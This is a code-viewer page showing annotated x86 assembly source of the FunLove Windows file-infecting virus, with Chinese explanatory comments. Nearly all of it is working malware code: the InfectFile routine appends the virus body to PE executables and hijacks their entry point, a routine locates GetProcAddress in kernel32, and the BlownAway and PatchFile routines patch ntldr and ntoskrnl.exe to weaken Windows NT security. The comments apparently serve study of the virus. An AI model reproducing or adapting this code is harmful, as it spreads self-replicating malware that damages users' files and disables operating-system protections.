?? funlove_vir.txt
字號:
call OpenFile-----------|以打開存在文件的方式打開文件;
cmp eax,-1-------------|
jz IN_Exit------------|錯誤處理;
mov i_FileHandle,eax;成功,保存文件句柄;
push 00------------------|
push eax |
call GetFileSize---------|得到文件的大小;
mov i_FileSize,eax ;保存在變量i_filesize里面;
cmp al,03 ---------------|
jz IN_Exit--------------|判斷文件是否已經被感染,如果是,跳過;
lea edi,[Buffer3 @];取得buffer3的有效地址;
push 00 ----------|
lea esi,i_BytesRead |
push esi |
push 2000 |
push edi |
push i_FileHandle |
call ReadFile --------------|讀出4096字節放到buffer3里面;
cmp word ptr [edi],5A4Dh---|比較開始的字符是不是符合的文件,陷阱處理;
jnz IN_CloseFile-----------|不是可以執行的格式就關閉文件;
cmp word ptr [edi + 18],0040---|
jnz IN_CloseFile---------------|是不是win文件,這里>=40hw為win文件,<為dos 文件,不是也跳過;
cmp dword ptr [edi + 3C],1C00--|
ja IN_CloseFile---------------|比較dos頭是不是3c,是表示已經感染過
add edi,[edi + 3C];保存3ch處的值;
mov eax,[edi]----------|
cmp eax,00004550 |
jnz IN_CloseFile-------|比較是不是pe文件,不是的話,也關閉跳過;
cmp word ptr [edi + 5C],2 ---------|
jnz IN_CloseFile-------------------|比較是不是gui的子系統的文件,不是也跳過
mov esi,edi----------------|
add esi,18 |
add si,[edi + 14] |
push esi -----------------|取得第一個節表的值;
mov eax,[edi + 28];取得當前的執行節的rav,一般默認為1000;
IN_00:
mov ecx,[esi + 0C]---|
add ecx,[esi + 08]---|第一個節在內存中的結束地址;
cmp eax,ecx;比較eax是否小于ecx,rav是否小于當前的地址,如果小于就跳轉到
in_01,如果大于就繼續找,我這里有個問題,但是現在搞懂了:
jc short IN_01
add esi,28--------|
jmp short IN_00---|指針加28,指向下一個節;
IN_01:
sub eax,[esi + 0C]------|
add eax,[esi + 14] |
mov i_EP_Offset,eax-----|得到節基于文件的偏移量;
or [esi + 24],80000000;改變本節的屬性,將它改為可寫;(這里是修改的ep節的屬性為什么呢?)
pop esi ;刷新一次esi的值,這里又回到第一個節表頭了,注意這里是為了上面的
add esi,28 操作后的所起的影響而寫的
xor ecx,ecx;清0ecx;
mov cx,[edi + 06];取得節的個數;
dec ecx;減一個------|
mov eax,ecx |
mov edx,28 |
mul edx |
add esi,eax----------|得到最后一個節的位置;
mov eax,[esi + 24]---------|
cmp al,80 |
jz IN_CloseFile ----------|是否已經初始化了,如果是就關閉文件(是不是就是表示感染了?);
or eax,8C000000 -----------|
and eax,not 12000000 |
mov [esi + 24],eax-----------|將它改為可寫,不共享,不可刪除;
mov ecx,i_FileSize--------|
mov edx,ecx |
mov eax,ecx |
clc |
shr eax,03 |
sub edx,eax |
sub edx,[esi + 14] |
jc short IN_02-----------|判斷是否是自解壓文件;如果小于則認為是sfx, 感染
sub edx,[esi + 10]?????????????
jnc IN_CloseFile
IN_02:
mov edx,[esi + 08];得到文件的虛擬大小;
sub ecx,[esi + 14];得到最后一個節的實際開始地址;
jc short IN_03;如果小于?就是說當前居然文件長度居然比最后一節都小?
cmp edx,ecx;用虛擬尺寸減去實際長度?瘋了哦,怎么可能小嘛?
ja short IN_03;如果目的都沒有達到的話
mov edx,ecx;就把現在的地址給edx了;
IN_03:
test edx,00000FFF ; align on 1000h
jz short IN_04
and edx,0FFFFF000
add edx,1000
IN_04:
mov ecx,edx------------|
add ecx,[esi + 0C] |
mov eax,ecx |
add eax,Virt_VSize |
mov [edi + 50],eax-----|以前的虛擬尺寸在加上現在的尺寸,然后在更新 SizeOfImage
sub ecx,[edi + 28]----------------|
add ecx,offset VStart - 100 - 08 |
mov i_HostDep32,ecx---------------|rav
mov eax,edx-----------------------|
add eax,Virt_VSize |
mov [esi + 08],eax----------------|增加虛擬尺寸;
mov eax,edx
add eax,[esi + 14]
mov i_VirusOffset,eax
add edx,Phys_VSize----------------|
mov [esi + 10],edx |
add edx,[esi + 14] |
add edx,03------------------------|增加物理尺寸
push i_FileHandle--------|
push edx |
call MapFile-------------|建立內存映射文件;
or eax,eax--------------|
jz short IN_CloseFile---|失敗退出;
mov i_MapHandle,eax;保存句柄;
push eax--------|
call ViewMap----|映射文件對象到本進程空間;
or eax,eax--------------|
jz short IN_CloseMap----|錯誤就關閉內存映射文件;
mov edx,eax;保存文件在內存的映射的位置;
lea esi,[Buffer3 @]--------|
mov edi,edx |
mov ecx,2000 |
repz movsb------------------|寫pe頭;
lea edi,[HostCode @]------|
mov esi,i_EP_Offset |
add esi,edx---------------|得到在新的內存空間里的ep的地址;
movsd
movsd
mov edi,esi ; set up call gs:Virus
sub edi,08
mov eax,00E8659090
stosd
mov eax,i_HostDep32
stosd
mov edi,edx ;edi現在存放的是本文件在內存中的地址了;
mov eax,i_FileSize;eax存放文件的大小;
mov ecx,i_VirusOffset;ecx存放病毒代碼基于文件的偏移地址;
sub ecx,eax;用病毒的偏移減去文件的大小;
jna short IN_05;如果比文件大的話就去in-05
add edi,eax;現在edi移動到文件的末尾了
xor al,al;al清0;
repz stosb;開始以cx為記數初始化后面的空間;
IN_05:
mov esi,ebx ;源串地址就是我們的開始地址; ------|
mov edi,edx ;edi為我們的文件在內存中的映射位置; |
add edi,i_VirusOffset;定位到病毒基于文件的地址; |
mov ecx,VSize;循環的次數; |
repz movsb;復制;----------------------------------|寫入病毒體;
mov ecx,Phys_VSize - VSize + 3----|
repz stosb-------------------------|??????
push edx;把edx的值即現在的文件在內存中的位置作為參數傳遞給unmapviewoffile
call UnmapViewOfFile;解除對文件對象在當前地址空間的映射;
IN_CloseMap:
push i_MapHandle-----|
call CloseHandle-----|關閉文件對象;
call Wait_A_Little;休眠函數;
IN_CloseFile:
lea esi,[Buffer2 + 14 @]---|
push esi |
sub esi,08 |
push esi |
sub esi,08 |
push esi |
push i_FileHandle |
call SetFileTime------------|恢復文件的時間;
push i_FileHandle---|
call CloseHandle----|關閉文件;
IN_Exit:
ret;返回;
InfectFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------- GetProcAddress Search Routine ------------------- ;
; ------------------------------------------------------------------------- ;
Whereis_GPA PROC PASCAL NEAR
ARG w_Kernel32 : DWORD ;的到通過堆棧傳遞的值,kernel32里面的返回地址;
USES esi,edi ;先保存這個2個寄存器的值,本過程執行完后,自動恢復;
lea esi,[GPA_Sigs @] ;取得判斷操作系統的特征字符串的首地址;
mov byte ptr [OS @],00 ;變量os初始為0,它的作用在于程序以后的執行
可以直接通過它的值來判斷操作系統,
mov eax,w_Kernel32;把得到地址進行與操作,得到它的高3位,為了便于理解我這是這么
and eax,0FFF00000 ;稱呼;
cmp eax,0BFF00000 ;比較時候為9x的地址特征;
jnz short OS_WinNT? ;不是就到nt那一段去判斷;
OS_Win9x:
mov edi,0BFF70000 ;把固定的kernel32在9x里面的值賦予edi,這里就是4位補齊了
jmp short WG_00 ;然后跳轉到wg_00去執行;請大家注意這里的os沒有加1
OS_WinNT?:
inc byte ptr [OS @] ;os+1,后面的程序以此作為是否是nt系統的判斷;
add esi,08 ;esi加8,指向gpa_sigs里面的nt4這個位置;
cmp eax,077F00000;繼續比較是否為nt的系統;
jnz short OS_Win2K? ;不是,就到2k的那段去判斷;
mov edi,eax ;是的話,就保存,然后去wg_00執行,請大家注意,這里funlove里面
jmp short WG_00 ;把nt的基地址認為的是077f00000;其實是4位的,只是有位為0,
這里就沒有重新賦值。
OS_Win2K?:
inc byte ptr [OS @];os+1,后面的程序以此作為是否是2000系統的判斷;
add esi,08 ;esi加8,指向gpa_siga里面的2k這個位置;
cmp eax,077E00000 ;比較是否是2000的kernel32的地址;
jnz short WG_Failed ;不是,表示不是需要的操作系統,就失敗跳轉;
注意一點,這里的失敗,因為操作系統的版本
或者打補丁的問題,也會出現的。
mov edi,077E80000;沒有失敗,表示是2k的了,賦2k里面的基地址;
WG_00:
mov edx,edi ;edx里面保存上面判斷后得到的基地址;
mov ecx,20000 ;循環20000,開始暴力搜索getprocessaddress的地址;
WG_01:
push ecx ;保存ecx的值;
mov ecx,08 ;--- ecx賦值為8,把現在的esi里面的前綴字符串
push esi | 傳遞給edi。
push edi |
repz cmpsb;------
pop edi ;edi恢復值,為下一次查找做準備;
pop esi ;esi恢復值,為下一次查找做準備;
pop ecx ;恢復ecx的值,2000
jz short WG_02 ;如果相等,去wg_02執行,找到getprocaddress的地址了
inc edi ;不等,edi加1,即,從kernel32的基地址外下走一位,然后
loop WG_01;繼續查找,直到找到;注意,這里用的是特征字符串判斷的方式
所以不必在意kernel32里面的指令什么的,一位一位的比較就是了
btw:這種方式不是很好,可以用whg的方法,
w_Failed:
xor eax,eax ;錯誤處理,退出
jmp short WG_03;
WG_02:
add edi,03 ;找到后,把值賦給變量getprocaddress;
mov [GetProcAddress + 1 @],edi;這里加個1是因為第一位是mov ax的機器碼
mov eax,edx ;保存kernel32的基地址,
mov [Kernel32_Base @],eax;為后面的操作做準備;
WG_03:
ret ;返回
Whereis_GPA ENDP
; ------------------------------------------------------------------------- ;
; ------------------ DLL Functions Relocation Routine ----------------- ;
; ------------------------------------------------------------------------- ;
DLL_Relocate PROC PASCAL NEAR
ARG DLL_Base : DWORD,; 得到基地址,就是在調用過程里面壓入的eax的值;
DLL_Func : DWORD ;得到要查找api的名字字符串首地址;
USES esi ;保存esi,本過程結束后自動恢復;
mov esi,DLL_Func ;把地址給esi,在串操作里可以做源串地址;
DR_00:
mov eax,esi;eax現在是查找的api的字符串的地址了;
add eax,07 ;到第七個字節的地方;
push eax ;地址入棧;
push DLL_Base ;kernel32的基地址入棧,給getprocaddress當參數;
call GetProcAddress;調用getprocaddres得到其他的常用的api的地址,注意
這里不包括高級api的名字列表;
例如:CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
1 2 3 4 5 6 7 8
當add eax,07 后,從0b8開始(0b8是mov ax的機器碼)加7后
就到了‘closehandle‘這里,就可以取字符串進行比較了;
另外在說說,這里的結構,0b8是mov ax,而0ffe0是jmp ax的機器碼
后面的4個字節的空間是用來存放找到后的api的地址的,我們來看看
這里的匯編代碼就知道了;
0b8,???? 對應為 mov ax,????->這里的????就是在查找后的地址,找到后加到這里 就是一句完整的語句了;
0ff,0e0 對應為 jmp ax --->>這里一看就明白了,是跳轉到ax所代表的地址去執行
。就是這里的api啦;
or eax,eax ;
jz short DR_03;返回值如果為0,則失敗,跳轉到dr_03執行;
DR_01:
mov [esi + 1],eax;現在這里清楚了吧,esi+1后就是那4個????的地址,而eax在
getprocaddress執行后是代表的當前的這個查找的api在krnel32 里面的入口地址;
add esi,07 ;注意:上面是[esi+1],不是esi+1,esi的值沒變化,加7后,就 到了字符串的位置了;
DR_02:
lodsb -----|
or al,al | 這里是一個一個字節的比較是否為‘0’,為什么這么做呢?
jnz short DR_02-----|
大家再看看上面的結構,在過了7個字節后,就是api的名字了
因為名字長短不一,所以就只加了7,然后在用0來作為判斷 api名字字符串結束的標志;
cmp byte ptr [esi],0B8;這里也就簡單了,比較是否是0b8,判斷是否到了第二行;
jz short DR_00 ;是則繼續查找剩下的api,直到找完;
DR_03:
ret ;返回;
DLL_Relocate ENDP
; ------------------------------------------------------------------------- ;
; --------------------- NT Security Patch Routine --------------------- ;
; ------------------------------------------------------------------------- ;
BlownAway PROC PASCAL NEAR
ARG DirEnd : DWORD;得到buffer1里面的當前字符串的最后一位的位置;
USES esi,edi;保存esi,edi的值,本過程完成后恢復;
lea esi,[NTLDR @]-----|
mov edi,DirEnd |
movsd |
movsd -----------|構造形入x:\ntldr的字符串,在buffer1中;
lea edi,[Buffer1 @];當前的buffer1的首地址入edi;
lea esi,[NT4_NTLDR @];nt的ntldr的要計較的操作代碼字符串的首地址入esi;
cmp byte ptr [OS @],01;比較當前是否是nt,
jz short BA_00;是則執行打補丁的步驟;
add esi,5 * 2;不是nt,那么esi指向變量W2K_NTLDR的位置,認為是2k的系統;
BA_00:
push edi;-------|
push esi |
push 05 |
call PatchFile---|開始給ntldr打補丁;
lea esi,[NTOSKRNL @]----------------|
mov edi,DirEnd |構造如x:\WINNT\System32\ntoskrnl.exe形 |式的字符串;
|
BA_01: |
|
movsb |
cmp byte ptr [esi - 1],00 |
jnz short BA_01---------------------|
lea edi,[Buffer1 @]----------------|
lea esi,[NT4_NTOSKRNL @] |
|
cmp byte ptr [OS @],01 |
jz short BA_02 |
add esi,9 * 2 |
|
BA_02: |
|
push edi |
push esi |
push 09 |
call PatchFile----------------------|給ntoskrnl.exe打補丁,和上面類似;
ret 至此打補丁的任務結束,可以收線了,縫縫補補也挺累人的;
BlownAway ENDP
; ------------------------------------------------------------------------- ;
; ------------------------- File Patch Routine ------------------------ ;
; ------------------------------------------------------------------------- ;
PatchFile PROC PASCAL NEAR
ARG p_Filename : DWORD, \得到文件名;
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -